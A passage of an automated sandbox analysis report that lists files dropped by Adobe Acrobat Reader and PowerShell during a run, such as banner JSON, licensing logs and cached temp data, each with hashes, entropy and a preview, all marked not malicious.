SHA-512:	4368D5BBC2A42D12FA1C6DAF582F93A0BF1AB654F049AA3A676C6863208D520F0BAF0A6EE43D221943C1388355075A2823CE2BF41BCE6CEEEBC21EA913A5F98E
Malicious:	false
Preview:	{"analyticsData":{"responseGUID":"fcf6ef24-8648-4bb6-993f-02dce839427f","sophiaUUID":"7B9B8415-3339-46DA-BE0A-54DDE09AC518"},"encodingScheme":true,"expirationDTS":1736758492005,"statusCode":200,"surfaceID":"DC_Reader_RHP_Banner","surfaceObj":{"SurfaceAnalytics":{},"containerMap":{}}}

C:\Users\user\AppData\Local\Adobe\Acrobat\DC\SOPHIA\Acrobat\Files\DC_Reader_RHP_Intent_Banner

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	291
Entropy (8bit):	5.2958500758498435
Encrypted:	false
SSDEEP:	6:YEQXJ2HXgOXHRWwAdAV0nZiQ0YkoAvJfbPtdPeUkwRe9:YvXKXfWwAdk0cMGDV8Ukee9
MD5:	A2555A509E7222BDB33999AF6AAF2F01
SHA1:	8DB0E9DADA6BF1F3B89953D6691B0DA0755CB248
SHA-256:	260F0433E3E85F3279965C32E117FA028C12563F4D273F7482983A3AED82671D
SHA-512:	A0E32218CA4091348850CD1AD7981E3F1BA7A0A2E1AD19815DA18FE6740792D73EDBEEDB4B9DAEC7E45EC561134EA0885690746D475F393DF85E3787D33D2D80
Malicious:	false
Preview:	{"analyticsData":{"responseGUID":"fcf6ef24-8648-4bb6-993f-02dce839427f","sophiaUUID":"7B9B8415-3339-46DA-BE0A-54DDE09AC518"},"encodingScheme":true,"expirationDTS":1736758492005,"statusCode":200,"surfaceID":"DC_Reader_RHP_Intent_Banner","surfaceObj":{"SurfaceAnalytics":{},"containerMap":{}}}

C:\Users\user\AppData\Local\Adobe\Acrobat\DC\SOPHIA\Acrobat\Files\DC_Reader_RHP_Retention

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	287
Entropy (8bit):	5.298753116152163
Encrypted:	false
SSDEEP:	6:YEQXJ2HXgOXHRWwAdAV0nZiQ0YkoAvJf21rPeUkwRe9:YvXKXfWwAdk0cMG+16Ukee9
MD5:	BA3E04DD613CA1C84926331E61AE559A
SHA1:	07D209CBD24FD32B27FE4F43192F0EC38F82E53A
SHA-256:	E38D9E00CFEC685194FD21A6D8DAB73DD846D84C4B5FFCD5602AE144BFFA86BE
SHA-512:	FA0173ECB8D9D73D7105DC115F72F9C5CE485674F9ADC0C6152349EBF0A28727B9A6CCDBB35D60E78A08E4AA9DC610F01A7C44ABB6D266C2E9391BC7F13A393E
Malicious:	false
Preview:	{"analyticsData":{"responseGUID":"fcf6ef24-8648-4bb6-993f-02dce839427f","sophiaUUID":"7B9B8415-3339-46DA-BE0A-54DDE09AC518"},"encodingScheme":true,"expirationDTS":1736758492005,"statusCode":200,"surfaceID":"DC_Reader_RHP_Retention","surfaceObj":{"SurfaceAnalytics":{},"containerMap":{}}}

C:\Users\user\AppData\Local\Adobe\Acrobat\DC\SOPHIA\Acrobat\Files\DC_Reader_Sign_LHP_Banner

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	1090
Entropy (8bit):	5.668779949547294
Encrypted:	false
SSDEEP:	24:Yv6XewAaZZamXayLgE+cNDxeNaqnAvz7xHn0RCmK8czOC/BSI:YvK/BgkDMUJUAh8cvMI
MD5:	2DDEE0F51FD886247E31AAA22A17C4F6
SHA1:	27EAFF79372A09D482CCE2435BF7636579B4CECA
SHA-256:	1F026EEC75EC747D7B29A58372F79CF77E481A54410A30F9676405D42BD3CD79
SHA-512:	B173B9FD256990193C567FC4C18EB569FCFFE0B9CBABB52D84F9DD5B74603336B68E5F5647CDF2C4BA85E6FFFBB74A3C516A8E7D226CA11C13E70176155ED993
Malicious:	false
Preview:	{"analyticsData":{"responseGUID":"fcf6ef24-8648-4bb6-993f-02dce839427f","sophiaUUID":"7B9B8415-3339-46DA-BE0A-54DDE09AC518"},"encodingScheme":true,"expirationDTS":1736758492005,"statusCode":200,"surfaceID":"DC_Reader_Sign_LHP_Banner","surfaceObj":{"SurfaceAnalytics":{"surfaceId":"DC_Reader_Sign_LHP_Banner"},"containerMap":{"1":{"containerAnalyticsData":{"actionBlockId":"93365_289436ActionBlock_0","campaignId":93365,"containerId":"1","controlGroupId":"","treatmentId":"266234d2-130d-426e-8466-c7a061db101f","variationId":"289436"},"containerId":1,"containerLabel":"JSON for DC_Reader_Sign_LHP_Banner","content":{"data":"eyJjdGEiOnsidGV4dCI6IkZyZWUgdHJpYWwiLCJjbGljayI6Im9wZW5Ub29sIiwidG9vbF9pZCI6IlVwZ3JhZGVSSFBSZHJBcHAifSwidWkiOnsidGl0bGVfc3R5bGluZyI6eyJmb250X3NpemUiOiIxNHB4IiwiZm9udF9zdHlsZSI6IjAifSwiZGVzY3JpcHRpb25fc3R5bGluZyI6eyJmb250X3NpemUiOiIxMnB4IiwiZm9udF9zdHlsZSI6Ii0xIn0sInRpdGxlIjpudWxsLCJkZXNjcmlwdGlvbiI6IkVhc2lseSBmaWxsIGFuZCBzaWduIFBERnMuIn0sInRjYXRJZCI6bnVsbH0=","dataType":"app

C:\Users\user\AppData\Local\Adobe\Acrobat\DC\SOPHIA\Acrobat\Files\DC_Reader_Upsell_Cards

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	286
Entropy (8bit):	5.277373674978249
Encrypted:	false
SSDEEP:	6:YEQXJ2HXgOXHRWwAdAV0nZiQ0YkoAvJfshHHrPeUkwRe9:YvXKXfWwAdk0cMGUUUkee9
MD5:	E7223A12F4A4E5A9F5C38EA0E5C335A4
SHA1:	AF823CE423588932CCD24C0A7F08A7D1973F5225
SHA-256:	E2DC6BFCAE249083955CBD5BD8423FB513ACF168C1F9C85CA2D4F7B29DF81EEE
SHA-512:	A7C34221B22E688A9693785E827CBD3301620C0528FD69DFF0E59C846FB5D7312E7650EBF95074239BC2DC932C64E3C25A0CBCE8AC023F95CBA77F720D090C73
Malicious:	false
Preview:	{"analyticsData":{"responseGUID":"fcf6ef24-8648-4bb6-993f-02dce839427f","sophiaUUID":"7B9B8415-3339-46DA-BE0A-54DDE09AC518"},"encodingScheme":true,"expirationDTS":1736758492005,"statusCode":200,"surfaceID":"DC_Reader_Upsell_Cards","surfaceObj":{"SurfaceAnalytics":{},"containerMap":{}}}

C:\Users\user\AppData\Local\Adobe\Acrobat\DC\SOPHIA\Acrobat\Files\Edit_InApp_Aug2020

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	282
Entropy (8bit):	5.278528463674391
Encrypted:	false
SSDEEP:	6:YEQXJ2HXgOXHRWwAdAV0nZiQ0YkoAvJTqgFCrPeUkwRe9:YvXKXfWwAdk0cMGTq16Ukee9
MD5:	63D786DB3E9F4A0BB7B6687EAEBDC958
SHA1:	873216370B5CF3D616E3FA0F9B287C374AE116AF
SHA-256:	A9016D6EBB1946F1CBC4AF7FB13E1069C61B417C0C64F29D824F82FE47353A1C
SHA-512:	C34257DD183253419DA9C263421A19FA7ECB96989830BC83B1A00D01E2E61E19FB59754989AC5462E063CA32056C173DC75EE29CD76798A5114819928A3D497A
Malicious:	false
Preview:	{"analyticsData":{"responseGUID":"fcf6ef24-8648-4bb6-993f-02dce839427f","sophiaUUID":"7B9B8415-3339-46DA-BE0A-54DDE09AC518"},"encodingScheme":true,"expirationDTS":1736758492005,"statusCode":200,"surfaceID":"Edit_InApp_Aug2020","surfaceObj":{"SurfaceAnalytics":{},"containerMap":{}}}

C:\Users\user\AppData\Local\Adobe\Acrobat\DC\SOPHIA\Acrobat\Files\TESTING

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe
File Type:	data
Category:	dropped
Size (bytes):	4
Entropy (8bit):	0.8112781244591328
Encrypted:	false
SSDEEP:	3:e:e
MD5:	DC84B0D741E5BEAE8070013ADDCC8C28
SHA1:	802F4A6A20CBF157AAF6C4E07E4301578D5936A2
SHA-256:	81FF65EFC4487853BDB4625559E69AB44F19E0F5EFBD6D5B2AF5E3AB267C8E06
SHA-512:	65D5F2A173A43ED2089E3934EB48EA02DD9CCE160D539A47D33A616F29554DBD7AF5D62672DA1637E0466333A78AAA023CBD95846A50AC994947DC888AB6AB71
Malicious:	false
Preview:	....

C:\Users\user\AppData\Local\Adobe\Acrobat\DC\SOPHIA\Acrobat\SOPHIA.json

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	2814
Entropy (8bit):	5.135978158617618
Encrypted:	false
SSDEEP:	48:YTwKkswF52z8l1mq+4KTHV3LE0Anh9O2r+:nKksE5Tl1mq+F7K0u/j+
MD5:	55C81C47E9DDC683206019D293830842
SHA1:	D3EF4912C2830A0E67404E0D68293AB3D84633C7
SHA-256:	A6F7DA44F4928D033C2364CCE65CEC37270C4966301C821682C2AB62A09A3D4C
SHA-512:	4BC9DE4296F34544E2332DC5BD991433C9F08A722CA99FB1CC9FA03CA42A6CA6E70A72318BB83A6B5888C085161BE79803E187C3A02EF85C15B3FB87BB9185B2
Malicious:	false
Preview:	{"all":[{"id":"DC_Reader_Disc_LHP_Banner","info":{"dg":"b91a969941490470845d98e12056c854","sid":"DC_Reader_Disc_LHP_Banner"},"mimeType":"file","size":289,"ts":1736579047000},{"id":"DC_Reader_Sign_LHP_Banner","info":{"dg":"82c73bb0994de67ef007f234c426d790","sid":"DC_Reader_Sign_LHP_Banner"},"mimeType":"file","size":1090,"ts":1736579046000},{"id":"DC_Reader_Convert_LHP_Banner","info":{"dg":"22c0f39baf16f222c53c39e746d28326","sid":"DC_Reader_Convert_LHP_Banner"},"mimeType":"file","size":1123,"ts":1736579046000},{"id":"DC_Reader_Home_LHP_Trial_Banner","info":{"dg":"5396bcbd620a3f60f81ed987082dead9","sid":"DC_Reader_Home_LHP_Trial_Banner"},"mimeType":"file","size":295,"ts":1736579046000},{"id":"DC_Reader_Disc_LHP_Retention","info":{"dg":"d571ffd5056b8e37a4c0c7368e10219b","sid":"DC_Reader_Disc_LHP_Retention"},"mimeType":"file","size":292,"ts":1736579046000},{"id":"DC_Reader_More_LHP_Banner","info":{"dg":"e3b95c4256e14ed3e314b44adc1f6a35","sid":"DC_Reader_More_LHP_Banner"},"mimeType":"file","

C:\Users\user\AppData\Local\Adobe\Acrobat\DC\SharedDataEvents

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe
File Type:	SQLite 3.x database, last written using SQLite version 3040000, file counter 24, database pages 3, cookie 0x2, schema 4, UTF-8, version-valid-for 24
Category:	dropped
Size (bytes):	12288
Entropy (8bit):	1.1463051406411122
Encrypted:	false
SSDEEP:	24:TLhx/XYKQvGJF7ursCHKYnRZXcMRZXcMZgux3Fmu3n9u1oGuDyIX4uDyvuOudIUJ:TFl2GL7msTYjXc+XcGNFlRYIX2v3kYYF
MD5:	75A40C74AFC9CAD63FF85D9759D3483E
SHA1:	8E9BDFDD86ED9C662A9068B334FF0D6165152892
SHA-256:	89E9E6E93CA0B540F242A09D48FB7217B1A9A6E65C8A8D2C337C39BFE19E2C0B
SHA-512:	F95529D48E683C5209F2317E8CB2121FADA1AB6EC214B1FBD4A27919A44A7F6E1EB075F89F378532BE7C1C166368B83E2ADE344B52711721B924BF43E319986B
Malicious:	false
Preview:	SQLite format 3......@ ..........................................................................c.....................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

C:\Users\user\AppData\Local\Adobe\Acrobat\DC\SharedDataEvents-journal

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe
File Type:	SQLite Rollback Journal
Category:	dropped
Size (bytes):	8720
Entropy (8bit):	1.5528059186288783
Encrypted:	false
SSDEEP:	24:7+toHKYnUXcMRZXcMZgux3Fmu3n9u1oGuDyIX4uDyvuOudIUudcHRuLuxQqLxx/3:7M5YUXc+XcGNFlRYIX2v5qVl2GL7msh
MD5:	642FACD29C21BF424C9C1679B74D535D
SHA1:	BEC83218272E71CE7ABE804A6C1D77D3F1A321DD
SHA-256:	107A76711773C3E298A91337ABAD8B94DB61DD27346D0E97381DE1D295273A1B
SHA-512:	FA3414655323BA393603C493D3BA5B3D7DEC7B4C6862076440A4A896E5BEE0613C65C41A35A5696491C73472EC5BA2AF87E9C2645C12C70C2A638C14860E5E04
Malicious:	false
Preview:	.... .c.......{...........................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................b..b.b.b.b.b.b.b.b.b.b.b.b.b..................................................................................................................................................................................................................................................................................................................................................................................................................................................................

C:\Users\user\AppData\Local\Adobe\Acrobat\DC\UserCache64.bin

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe
File Type:	data
Category:	dropped
Size (bytes):	66726
Entropy (8bit):	5.392739213842091
Encrypted:	false
SSDEEP:	768:RNOpblrU6TBH44ADKZEgEhjb0syZu8uMhEneyqUxg7NTYyu:6a6TZ44ADEEhP0Bw8uXxg5TK
MD5:	EA6C9B37882CDBB82B1126CB430CD835
SHA1:	2903534907D37259D9423C57C3E5D7D22D8CF401
SHA-256:	DA49C85C8426296A137C1DC247D96E13C4B7C55EEEA0E1B9DBACB3934DEAF373
SHA-512:	75785BC0C78D8F032E6F5C258401E799838744097354FA4C1BE80357A8778A232FBD77DEBDDF56225262BB8A69CA3C9F3E4257233F3859C3DB51840894EC0D27
Malicious:	false
Preview:	4.397.90.FID.2:o:..........:F:AgencyFB-Reg.P:Agency FB.L:$.........................."F:Agency FB.#.96.FID.2:o:..........:F:AgencyFB-Bold.P:Agency FB Bold.L:%.........................."F:Agency FB.#.84.FID.2:o:..........:F:Algerian.P:Algerian.L:$..........................RF:Algerian.#.95.FID.2:o:..........:F:ArialNarrow.P:Arial Narrow.L:$.........................."F:Arial Narrow.#.109.FID.2:o:..........:F:ArialNarrow-Italic.P:Arial Narrow Italic.L:$.........................."F:Arial Narrow.#.105.FID.2:o:..........:F:ArialNarrow-Bold.P:Arial Narrow Bold.L:%.........................."F:Arial Narrow.#.118.FID.2:o:..........:F:ArialNarrow-BoldItalic.P:Arial Narrow Bold Italic.L:%.........................."F:Arial Narrow.#.77.FID.2:o:..........:F:ArialMT.P:Arial.L:$.........................."F:Arial.#.91.FID.2:o:..........:F:Arial-ItalicMT.P:Arial Italic.L:$.........................."F:Arial.#.87.FID.2:o:..........:F:Arial-BoldMT.P:Arial Bold.L:$.........................."F:Arial.#.100.FID.2

C:\Users\user\AppData\Local\Microsoft\Windows\PowerShell\StartupProfileData-NonInteractive

Download File

Process:	C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
File Type:	data
Category:	dropped
Size (bytes):	64
Entropy (8bit):	1.1940658735648508
Encrypted:	false
SSDEEP:	3:Nlllul/nq/llh:NllUyt
MD5:	AB80AD9A08E5B16132325DF5584B2CBE
SHA1:	F7411B7A5826EE6B139EBF40A7BEE999320EF923
SHA-256:	5FBE5D71CECADD2A3D66721019E68DD78C755AA39991A629AE81C77B531733A4
SHA-512:	9DE2FB33C0EA36E1E174850AD894659D6B842CD624C1A543B2D391C8EBC74719F47FA88D0C4493EA820611260364C979C9CDF16AF1C517132332423CA0CB7654
Malicious:	false
Preview:	@...e................................................@..........

C:\Users\user\AppData\Local\Temp\MSIed143.LOG

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe
File Type:	Unicode text, UTF-16, little-endian text, with CRLF line terminators
Category:	dropped
Size (bytes):	246
Entropy (8bit):	3.4965336456103326
Encrypted:	false
SSDEEP:	6:Qgl946caEbiQLxuZUQu+lEbYnuoblv2K88Clqf9:Qw946cPbiOxDlbYnuRKdx
MD5:	22C916E6EA24620DF2BB8995130F2D84
SHA1:	CEB3BCC7042632BE3EBA382774E56EDAA28B29C4
SHA-256:	99DA280DD061C63F1ACEB2D8A10E4FAD26472B5D936F00EBE3CFB40328B7D28D
SHA-512:	A599D197F30C18AEBD8E419345B895C9D39A65C7155FA604E19E7E89110F8FF80021E454AD6F850E870850900A50DA13F281956F750D125F765C40D8FDE1EC60
Malicious:	false
Preview:	..E.r.r.o.r. .2.7.1.1...T.h.e. .s.p.e.c.i.f.i.e.d. .F.e.a.t.u.r.e. .n.a.m.e. .(.'.A.R.M.'.). .n.o.t. .f.o.u.n.d. .i.n. .F.e.a.t.u.r.e. .t.a.b.l.e.......=.=.=. .L.o.g.g.i.n.g. .s.t.o.p.p.e.d.:. .1.1./.0.1./.2.0.2.5. . .0.2.:.0.4.:.0.5. .=.=.=.....

C:\Users\user\AppData\Local\Temp\__PSScriptPolicyTest_blxcafij.02o.ps1

Download File

Process:	C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
File Type:	ASCII text, with no line terminators
Category:	dropped
Size (bytes):	60
Entropy (8bit):	4.038920595031593
Encrypted:	false
SSDEEP:	3:Si2NPqzAYMLAKVpKGOyzKtFS:SnqbKAKWGX
MD5:	D17FE0A3F47BE24A6453E9EF58C94641
SHA1:	6AB83620379FC69F80C0242105DDFFD7D98D5D9D
SHA-256:	96AD1146EB96877EAB5942AE0736B82D8B5E2039A80D3D6932665C1A4C87DCF7
SHA-512:	5B592E58F26C264604F98F6AA12860758CE606D1C63220736CF0C779E4E18E3CEC8706930A16C38B20161754D1017D1657D35258E58CA22B18F5B232880DEC82
Malicious:	false
Preview:	# PowerShell test file to determine AppLocker lockdown mode

C:\Users\user\AppData\Local\Temp\__PSScriptPolicyTest_kamhez11.pd2.psm1

Download File

Process:	C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
File Type:	ASCII text, with no line terminators
Category:	dropped
Size (bytes):	60
Entropy (8bit):	4.038920595031593
Encrypted:	false
SSDEEP:	3:Si2NPqzAYMLAKVpKGOyzKtFS:SnqbKAKWGX
MD5:	D17FE0A3F47BE24A6453E9EF58C94641
SHA1:	6AB83620379FC69F80C0242105DDFFD7D98D5D9D
SHA-256:	96AD1146EB96877EAB5942AE0736B82D8B5E2039A80D3D6932665C1A4C87DCF7
SHA-512:	5B592E58F26C264604F98F6AA12860758CE606D1C63220736CF0C779E4E18E3CEC8706930A16C38B20161754D1017D1657D35258E58CA22B18F5B232880DEC82
Malicious:	false
Preview:	# PowerShell test file to determine AppLocker lockdown mode

C:\Users\user\AppData\Local\Temp\acrobat_sbx\NGL\NGLClient_AcrobatReader123.6.20320.6 2025-01-11 02-04-00-604.log

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe
File Type:	ASCII text, with very long lines (393)
Category:	dropped
Size (bytes):	16525
Entropy (8bit):	5.338264912747007
Encrypted:	false
SSDEEP:	384:lH4ZASLaTgKoBKkrNdOZTfUY9/B6u6AJ8dbBNrSVNspYiz5LkiTjgjQLhDydAY8s:kIb
MD5:	128A51060103D95314048C2F32A15C66
SHA1:	EEB64761BE485729CD12BF4FBF7F2A68BA1AD7DB
SHA-256:	601388D70DFB723E560FEA6AE08E5FEE8C1A980DF7DF9B6C10E1EC39705D4713
SHA-512:	55099B6F65D6EF41BC0C077BF810A13BA338C503974B4A5F2AA8EB286E1FCF49DF96318B1DA691296FB71AA8F2A2EA1406C4E86F219B40FB837F2E0BF208E677
Malicious:	false
Preview:	SessionID=e060408f-9833-415c-bd59-cc59ace6b516.1696488385066 Timestamp=2023-10-05T08:46:25:066+0200 ThreadID=6912 Component=ngl-lib_NglAppLib Description="-------- Initializing session logs --------".SessionID=e060408f-9833-415c-bd59-cc59ace6b516.1696488385066 Timestamp=2023-10-05T08:46:25:066+0200 ThreadID=6912 Component=ngl-lib_kOperatingConfig Description="GetRuntimeDetails: No operating configs found".SessionID=e060408f-9833-415c-bd59-cc59ace6b516.1696488385066 Timestamp=2023-10-05T08:46:25:067+0200 ThreadID=6912 Component=ngl-lib_kOperatingConfig Description="GetRuntimeDetails: Fallback to NAMED_USER_ONLINE!!".SessionID=e060408f-9833-415c-bd59-cc59ace6b516.1696488385066 Timestamp=2023-10-05T08:46:25:067+0200 ThreadID=6912 Component=ngl-lib_NglAppLib Description="SetConfig: OS Name=WINDOWS_64, OS Version=10.0.19045.1".SessionID=e060408f-9833-415c-bd59-cc59ace6b516.1696488385066 Timestamp=2023-10-05T08:46:25:067+0200 ThreadID=6912 Component=ngl-lib_NglAppLib Description="SetConfig:

C:\Users\user\AppData\Local\Temp\acrobat_sbx\NGL\NGLClient_AcrobatReader123.6.20320.6.log

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe
File Type:	ASCII text, with very long lines (393), with CRLF line terminators
Category:	dropped
Size (bytes):	15114
Entropy (8bit):	5.329675421569668
Encrypted:	false
SSDEEP:	384:qMGJO8nJCPWEB/b9Re+bjlJh92vlic0mh++0qyUlWXoYOcPphClkjgjC/KouQzjt:cqn
MD5:	00D703D37FADEC3F2FEC6A8B2A47EE3F
SHA1:	CD27D50A66738F149249C34855D4F2C92302F2A5
SHA-256:	64BE22846CFC8022EFB0947E33506514E1253B2A6BC52E80431E910D7C41A664
SHA-512:	A63FFDB33D04FBE21B173DC5B0187711848E0365F6976D494FE068111723C340DB8ACE90A2CEEC8C606EB9D65D62ACDD8B4DFC72148007BE7706B25ECEEF7870
Malicious:	false
Preview:	SessionID=0715fe5d-b657-4e29-84f5-a9719c255e4c.1736579040616 Timestamp=2025-01-11T02:04:00:616-0500 ThreadID=4976 Component=ngl-lib_NglAppLib Description="-------- Initializing session logs --------"..SessionID=0715fe5d-b657-4e29-84f5-a9719c255e4c.1736579040616 Timestamp=2025-01-11T02:04:00:617-0500 ThreadID=4976 Component=ngl-lib_kOperatingConfig Description="GetRuntimeDetails: No operating configs found"..SessionID=0715fe5d-b657-4e29-84f5-a9719c255e4c.1736579040616 Timestamp=2025-01-11T02:04:00:617-0500 ThreadID=4976 Component=ngl-lib_kOperatingConfig Description="GetRuntimeDetails: Fallback to NAMED_USER_ONLINE!!"..SessionID=0715fe5d-b657-4e29-84f5-a9719c255e4c.1736579040616 Timestamp=2025-01-11T02:04:00:617-0500 ThreadID=4976 Component=ngl-lib_NglAppLib Description="SetConfig: OS Name=WINDOWS_64, OS Version=10.0.19045.1"..SessionID=0715fe5d-b657-4e29-84f5-a9719c255e4c.1736579040616 Timestamp=2025-01-11T02:04:00:617-0500 ThreadID=4976 Component=ngl-lib_NglAppLib Description="SetConf

C:\Users\user\AppData\Local\Temp\acrobat_sbx\acroNGLLog.txt

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe
File Type:	ASCII text, with CRLF line terminators
Category:	dropped
Size (bytes):	29752
Entropy (8bit):	5.3895188874911275
Encrypted:	false
SSDEEP:	192:acb4I3dcbPcbaIO4cbYcbqnIdjcb6acbaIewcblcbEIKCcbt:V3fOCIdJDeCKF
MD5:	0DDF6339521D060E52278B4DBFF8F195
SHA1:	F18E07BD71AF2BFBDC952E227FC5ACC786BD2C1D
SHA-256:	2032BA632FE84506D8C4ECDB409BB917A80AA897D309CA3141671B7BB4CAE132
SHA-512:	3EC2A546FC826BD1C250C5DB3F42808DAC4B5C65810041AD47C0342BB8E483B7127BB7B63930F736C0F839890D46C91F8229C5E488DBE23BDF3DD27833E3446C
Malicious:	false
Preview:	05-10-2023 08:20:22:.---2---..05-10-2023 08:20:22:.AcroNGL Integ ADC-4240758 : *************************************..05-10-2023 08:20:22:.AcroNGL Integ ADC-4240758 : ***********************************..05-10-2023 08:20:22:.AcroNGL Integ ADC-4240758 : **** Starting new session ******..05-10-2023 08:20:22:.AcroNGL Integ ADC-4240758 : Starting NGL..05-10-2023 08:20:22:.AcroNGL Integ ADC-4240758 : Setting synchronous launch...05-10-2023 08:20:22:.AcroNGL Integ ADC-4240758 ::::: Configuring as AcrobatReader1..05-10-2023 08:20:22:.AcroNGL Integ ADC-4240758 : NGLAppVersion 23.6.20320.6..05-10-2023 08:20:22:.AcroNGL Integ ADC-4240758 : NGLAppMode NGL_INIT..05-10-2023 08:20:22:.AcroNGL Integ ADC-4240758 : AcroCEFPath, NGLCEFWorkflowModulePath - C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1 C:\Program Files\Adobe\Acrobat DC\Acrobat\NGL\cefWorkflow..05-10-2023 08:20:22:.AcroNGL Integ ADC-4240758 : isNGLExternalBrowserDisabled - No..05-10-2023 08:20:22:.Closing File..05-10-

C:\Users\user\AppData\Local\Temp\acrocef_low\01d0551c-5e5d-4dd3-a63a-bf1f9dd6f9a3.tmp

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe
File Type:	gzip compressed data, from FAT filesystem (MS-DOS, OS/2, NT), original size modulo 2^32 1311022
Category:	dropped
Size (bytes):	386528
Entropy (8bit):	7.9736851559892425
Encrypted:	false
SSDEEP:	6144:8OSTJJJJEQ6T9UkRm1lBgI81ReWQ53+sQ36X/FLYVbxrr/IxktOQZ1mau4yBwsOo:sTJJJJv+9UZX+Tegs661ybxrr/IxkB1m
MD5:	5C48B0AD2FEF800949466AE872E1F1E2
SHA1:	337D617AE142815EDDACB48484628C1F16692A2F
SHA-256:	F40E3C96D4ED2F7A299027B37B2C0C03EAEEE22CF79C6B300E5F23ACB1EB31FE
SHA-512:	44210CE41F6365298BFBB14F6D850E59841FF555EBA00B51C6B024A12F458E91E43FDA3FA1A10AAC857D4BA7CA6992CCD891C02678DCA33FA1F409DE08859324
Malicious:	false
Preview:	...........]s[G. Z...{....;...J$%K&..%.[..k...S....$,.`. )Z..m........a.......o..7.VfV...S..HY}Ba.<.NUVVV~W.].;qG4..b,N..#1.=1.#1..o.Fb.........IC.....Z...g_~.OO.l..g.uO...bY.,[..o.s.D<..W....w....?$4..+..%.[.?..h.w<.T.9.vM.!..h0......}..H..$[...lq,....>..K.)=..s.{.g.O...S9".....Q...#...+..)>=.....\|6......<4W.'.U.j$....+..=9...l.....S..<.\.k.'....{.1<.?..<..uk.v;.7n.!...g....."P..4.U........c.KC..w._G..u..g./.g....{'^.-\|..h#.g.\.PO.\|...]x..Kf4..s..............+.Y.....@.K....zI..X......6e?[..u.g"{..h.vKbM<.?i6{%.q)i...v..<P8P3.......CW.fwd...{:@h...;........5..@.C.j.....a.. U.5...].$.L..wW....z...v.......".M.?c.......o..}.a.9..A..%V..o.d....'..\|m.WC.....\|.....e.[W.p.8...rm....^..x'......5!...\|......z..#......X_..Gl..c..R..`...*.s-1f..]x......f...g...k........g....... ).3.B..{"4...!r....v+As...Zn.]K{.8[..M.r.Y..........+%...]...J}f]~}_..K....;.Z.[..V.&..g...>...{F..{I..@~.^.\|P..G.R>....U..../HY...(.z.<.~.9OW.Sxo.Y

C:\Users\user\AppData\Local\Temp\acrocef_low\40d7b4b6-6cd7-4cad-b1e1-f3e182a0b7cc.tmp

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe
File Type:	gzip compressed data, from FAT filesystem (MS-DOS, OS/2, NT), original size modulo 2^32 33081
Category:	dropped
Size (bytes):	1407294
Entropy (8bit):	7.97605879016224
Encrypted:	false
SSDEEP:	24576:/xA7o5dpy6mlind9j2kvhsfFXpAXDgrFBU2/R07/WLaGZDwYIGNPJe:JVB3mlind9i4ufFXpAXkrfUs0jWLaGZo
MD5:	A0CFC77914D9BFBDD8BC1B1154A7B364
SHA1:	54962BFDF3797C95DC2A4C8B29E873743811AD30
SHA-256:	81E45F94FE27B1D7D61DBC0DAFC005A1816D238D594B443BF4F0EE3241FB9685
SHA-512:	74A8F6D96E004B8AFB4B635C0150355CEF5D7127972EA90683900B60560AA9C7F8DE780D1D5A4A944AF92B63C69F80DCDE09249AB99696932F1955F9EED443BE
Malicious:	false
Preview:	...........[.s.8..}.....!#..gw.n.`uNl.f6.3....d%EK.D["...#.......!)...r.$.G.......Z..u.._>.~....^e..<..u..........._D.r.Z..M.:...$.I..N.....\`.B.wj...:...E\|.P..$ni.{.....T.^~<m-..J....RQk....f.....q.......V.rC.M.b.DiL\.....wq....$&j....O.........~.U.+..So.]..n..#OJ..p./..-......<...5..WB.O....i....<./T.P.L.;.....h.ik..DT...<...j..o..fz~..~."...w&.fB...4..@[.g.......Y.>/M.".....-..N.{.2.....\....h..ER..._..(.-..o97..[.t:..>..W..0.....u...?.%...1u..fg..`.Z.....m ~.GKG.q{.vU.nr..W.%.W..#z..l.T......1.....}.6......D.O...:....PX.........R.....j.WD).M..9.Fw...W.-a..z.l\..u.^....L..^.`.T...l.^.B.DMc.d....i...o.\|M.uF\|.nQ.L.E,.b!..NG.....<...J......g.o....;&5..'a.M...l..1.V.iB2.T._I....".+.W.yA ._.......<.O......O$."C....n!H.L`..q.....5..~./.._t.......A....S..3........Q[..+..e..P;...O...x~<B........'.)...n.$e.m.:...m.....&..Y.".H.s....5.9..A5)....s&.k0,.g4.V.K.,.e....5...X.}6.P....y\.s\|..Si..BB..y...~.....D^g...7'T-.5.!K.$\...2.

C:\Users\user\AppData\Local\Temp\acrocef_low\636aeb9d-99d2-4d9b-aae5-7e8e5cf943fc.tmp

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe
File Type:	gzip compressed data, from FAT filesystem (MS-DOS, OS/2, NT), original size modulo 2^32 5111142
Category:	dropped
Size (bytes):	1419751
Entropy (8bit):	7.976496077007677
